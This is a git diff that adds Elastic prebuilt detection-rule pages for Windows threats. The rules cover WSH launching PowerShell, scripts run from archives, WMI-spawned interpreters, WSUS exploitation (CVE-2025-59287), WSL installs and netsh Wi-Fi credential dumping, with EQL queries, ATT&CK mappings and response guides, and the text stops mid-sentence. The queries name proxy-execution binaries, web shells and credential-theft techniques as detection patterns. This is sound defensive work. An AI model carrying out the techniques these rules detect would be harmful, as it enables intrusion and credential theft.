https://attack.mitre.org/techniques/T1003/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-executing-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-executing-powershell.asciidoc new file mode 100644 index 0000000000..ec0bc60f19 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-executing-powershell.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-windows-script-executing-powershell]] +=== Windows Script Executing PowerShell + +Identifies a PowerShell process launched by either cscript.exe or wscript.exe. Observing Windows scripting processes executing a PowerShell script, may be indicative of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/operation-bleeding-bear + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Script Executing PowerShell* + + +The Windows Script Host (WSH) is an Windows automation technology, which is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. + +Attackers commonly use WSH scripts as their initial access method, acting like droppers for second stage payloads, but can also use them to download tools and utilities needed to accomplish their goals. + +This rule looks for the spawn of the `powershell.exe` process with `cscript.exe` or `wscript.exe` as its parent process. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate commands executed by the spawned PowerShell process. +- If unsigned files are found on the process tree, retrieve them and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Determine how the script file was delivered (email attachment, dropped by other processes, etc.). +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- The usage of these script engines by regular users is unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ("cscript.exe", "wscript.exe") and process.name : "powershell.exe" and + not ( + process.parent.name : "wscript.exe" and + process.parent.args : "?:\\ProgramData\\intune-drive-mapping-generator\\IntuneDriveMapping-VBSHelper.vbs" and + process.parent.args : "?:\\ProgramData\\intune-drive-mapping-generator\\DriveMapping.ps1" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-execution-from-archive.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-execution-from-archive.asciidoc new file mode 100644 index 0000000000..50e7dcae8d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-execution-from-archive.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-windows-script-execution-from-archive]] +=== Windows Script Execution from Archive + +Identifies attempts to execute Jscript/Vbscript files from an archive file. The use of archives is a common delivery method of malicious scripts. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/walmartglobaltech/smartapesg-4605157a5b80 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Script Execution from Archive* + + +Windows scripts, often used for legitimate automation tasks, can be exploited by adversaries to execute malicious code. Attackers may download scripts via browsers or file utilities, then execute them using scripting tools like wscript or mshta. The detection rule identifies such threats by monitoring script creation from internet sources and subsequent execution, focusing on unusual parent-child process relationships and script attributes. + + +*Possible investigation steps* + + +- Review the file creation event to identify the specific script file that was downloaded, noting its name, path, and extension to understand the potential threat. +- Examine the origin URL or referrer URL of the downloaded script to determine the source and assess its legitimacy or potential malicious intent. +- Investigate the parent process, such as chrome.exe or explorer.exe, to understand how the script was downloaded and whether it aligns with typical user behavior. +- Analyze the execution event of the scripting utility (wscript.exe or mshta.exe) to identify the command-line arguments used, which may provide insight into the script's intended actions. +- Check the user account associated with the script execution to determine if the activity is expected for that user or if it indicates a compromised account. +- Correlate the timing of the script creation and execution events to see if they fall within a suspicious timeframe, such as outside of normal working hours. +- Look for any additional related alerts or logs on the host that might indicate further malicious activity or lateral movement following the script execution. + + +*False positive analysis* + + +- Legitimate script automation tools may trigger this rule if they download and execute scripts from the internet. Users can create exceptions for known safe tools by excluding specific file paths or process names. +- Software updates or installations that download scripts as part of their process might be flagged. To handle this, users can whitelist specific origin URLs or referrer URLs associated with trusted software vendors. +- Internal scripts distributed via corporate intranet sites could be misidentified as threats. Users should consider excluding scripts with known internal origin URLs or specific user IDs associated with IT operations. +- Browser extensions or plugins that automate tasks using scripts may cause false positives. Users can exclude these by identifying and excluding the specific browser process names or file extensions involved. +- Frequent use of file utilities like winrar or 7zFM for legitimate script handling can be excluded by specifying trusted file paths or user IDs that regularly perform these actions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement. +- Terminate any suspicious processes identified in the alert, such as wscript.exe or mshta.exe, to stop the execution of the downloaded script. +- Quarantine the downloaded script file and any associated files to prevent further execution and facilitate forensic analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze the origin URL and referrer URL of the downloaded script to identify potential malicious websites or compromised sources, and block these URLs at the network level. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to restrict the execution of unauthorized scripts and scripting utilities, reducing the risk of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : "wscript.exe" and + process.parent.name : ("explorer.exe", "winrar.exe", "7zFM.exe") and + process.args : + ("?:\\Users\\*\\AppData\\Local\\Temp\\7z*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\*.zip.*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\BNZ.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-interpreter-executing-process-via-wmi.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-interpreter-executing-process-via-wmi.asciidoc new file mode 100644 index 0000000000..7179616e95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-script-interpreter-executing-process-via-wmi.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-windows-script-interpreter-executing-process-via-wmi]] +=== Windows Script Interpreter Executing Process via WMI + +Identifies use of the built-in Windows script interpreters (cscript.exe or wscript.exe) being used to execute a process via Windows Management Instrumentation (WMI). This may be indicative of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Script Interpreter Executing Process via WMI* + + +Windows Management Instrumentation (WMI) is a powerful Windows feature that allows for system management and automation. Adversaries exploit WMI to execute scripts or processes stealthily, often using script interpreters like cscript.exe or wscript.exe. The detection rule identifies suspicious activity by monitoring for these interpreters executing processes via WMI, especially when initiated by non-system accounts, indicating potential malicious intent. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific script interpreter (cscript.exe or wscript.exe) and the process it executed. Check the process name and executable path for any anomalies or known malicious indicators. +- Examine the user account associated with the process execution. Verify if the user domain is not "NT AUTHORITY" and assess whether the account is expected to perform such actions. Investigate any unusual or unauthorized account activity. +- Investigate the parent process wmiprvse.exe to determine how it was initiated. Look for any preceding suspicious activities or processes that might have triggered the WMI execution. +- Check the system for any additional indicators of compromise, such as unexpected network connections, changes in system configurations, or other alerts related to the same host or user. +- Correlate the event with other security logs and alerts to identify any patterns or related incidents that might indicate a broader attack campaign or persistent threat. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tasks may trigger this rule if they use cscript.exe or wscript.exe via WMI. To handle this, identify and document these scripts, then create exceptions for their specific execution paths or user accounts. +- Software installations or updates that utilize script interpreters through WMI can be mistaken for malicious activity. Monitor and whitelist known installation processes or update mechanisms that are frequently used in your environment. +- Custom applications or internal tools that rely on WMI for process execution might be flagged. Review these applications and exclude their specific process names or executable paths from the rule. +- Scheduled tasks or system maintenance scripts executed by non-system accounts could generate alerts. Verify these tasks and exclude them by specifying the user accounts or domains that are authorized to perform such actions. +- Security tools or monitoring solutions that leverage WMI for legitimate purposes may also be detected. Identify these tools and add them to the exception list based on their process names or executable locations. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert, such as cscript.exe or wscript.exe, that are running under non-system accounts. +- Conduct a thorough review of the affected host's scheduled tasks, startup items, and services to identify and remove any persistence mechanisms. +- Analyze the parent process wmiprvse.exe and its command-line arguments to understand the scope of the attack and identify any additional compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger campaign. +- Implement additional monitoring and alerting for similar activities across the network, focusing on WMI-based script execution and non-standard process launches. +- Review and update endpoint protection policies to block or alert on the execution of high-risk processes like those listed in the detection query, especially when initiated by non-system accounts. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 5s + [any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + (?dll.name : "wmiutils.dll" or file.name : "wmiutils.dll") and process.name : ("wscript.exe", "cscript.exe")] + [process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "wmiprvse.exe" and + user.domain != "NT AUTHORITY" and + (process.pe.original_file_name : + ( + "cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "Cmd.Exe", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "MSBuild.exe", + "InstallUtil.exe", + "RegAsm.exe", + "RegSvcs.exe", + "msxsl.exe", + "CONTROL.EXE", + "EXPLORER.EXE", + "Microsoft.Workflow.Compiler.exe", + "msiexec.exe" + ) or + process.executable : ("C:\\Users\\*.exe", "C:\\ProgramData\\*.exe") + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-server-update-service-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-server-update-service-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..158edea7ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-server-update-service-spawning-suspicious-processes.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-windows-server-update-service-spawning-suspicious-processes]] +=== Windows Server Update Service Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287 +* https://hawktrace.com/blog/CVE-2025-59287 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Windows Server Update Service Spawning Suspicious Processes* + + + +*Possible investigation steps* + + +- Examine the child process details, focusing on the process names and original file names such as cmd.exe, powershell.exe, pwsh.exe, and powershell_ise.exe, to identify any unauthorized or unexpected command-line activity. +- Investigate the timeline of events leading up to the alert, including any preceding or subsequent processes, to understand the context and potential impact of the suspicious activity. +- Check for any associated network activity or connections initiated by the suspicious processes to identify potential data exfiltration or communication with external command and control servers. +- Review recent changes or access logs on the affected server to identify any unauthorized access attempts or modifications that could indicate exploitation or the presence of a web shell. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender for Endpoint, or SentinelOne to gather additional context and corroborate findings. +- Assess the risk and impact of the detected activity, considering the severity and risk score, and determine appropriate response actions, such as isolating the affected system or conducting a deeper forensic analysis. + + +*False positive analysis* + + +- This behavior is rare and should be treated with high suspicion. + + +*Response and remediation* + + +- Immediately isolate the affected Server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as being spawned by w3wp.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of the server's application pools and web directories to identify and remove any unauthorized web shells or scripts. +- Restore the server from a known good backup taken before the suspicious activity was detected to ensure system integrity. +- Apply the latest security patches and updates to the Server to mitigate known vulnerabilities and prevent exploitation. +- Monitor network traffic and server logs for any signs of continued or attempted exploitation, focusing on unusual outbound connections or repeated access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "rundll32.exe", "curl.exe") and + ( + (process.parent.name : "w3wp.exe" and process.parent.args : "WsusPool") or + process.parent.name : "WsusService.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-subsystem-for-linux-distribution-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-subsystem-for-linux-distribution-installed.asciidoc new file mode 100644 index 0000000000..b06f1b38d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-windows-subsystem-for-linux-distribution-installed.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-windows-subsystem-for-linux-distribution-installed]] +=== Windows Subsystem for Linux Distribution Installed + +Detects changes to the registry that indicates the install of a new Windows Subsystem for Linux distribution by name. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Windows Subsystem for Linux Distribution Installed* + + +The Windows Subsystem for Linux (WSL) lets developers install a Linux distribution (such as Ubuntu, OpenSUSE, Kali, Debian, Arch Linux, etc) and use Linux applications, utilities, and Bash command-line tools directly on Windows, unmodified, without the overhead of a traditional virtual machine or dualboot setup. Attackers may abuse WSL to avoid security protections on a Windows host and perform a wide range of attacks. + +This rule identifies the installation of a new Windows Subsystem for Linux distribution via registry events. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine which distribution was installed. Some distributions such as Kali Linux can facilitate the compromise of the environment. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate that the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and the WSL distribution is homologated and approved in the environment. + + +*Related Rules* + + +- Host Files System Changes via Windows Subsystem for Linux - e88d1fe9-b2f4-48d4-bace-a026dc745d4b +- Execution via Windows Subsystem for Linux - db7dbad5-08d2-4d25-b9b1-d3a1e4a15efd +- Suspicious Execution via Windows Subsystem for Linux - 3e0eeb75-16e8-4f2f-9826-62461ca128b7 +- Windows Subsystem for Linux Enabled via Dism Utility - e2e0537d-7d8f-4910-a11d-559bcf61295a + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "PackageFamilyName" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\*\\PackageFamilyName" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wireless-credential-dumping-using-netsh-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wireless-credential-dumping-using-netsh-command.asciidoc new file mode 100644 index 0000000000..d5dbd37ad4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wireless-credential-dumping-using-netsh-command.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-wireless-credential-dumping-using-netsh-command]] +=== Wireless Credential Dumping using Netsh Command + +Identifies attempts to dump Wireless saved access keys in clear text using the Windows built-in utility Netsh. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts +* https://www.geeksforgeeks.org/how-to-find-the-wi-fi-password-using-cmd-in-windows/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Wireless Credential Dumping using Netsh Command* + + +Netsh is a Windows command line tool used for network configuration and troubleshooting. It enables the management of network settings and adapters, wireless network profiles, and other network-related tasks. + +This rule looks for patterns used to dump credentials from wireless network profiles using Netsh, which can enable attackers to bring their own devices to the network. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the 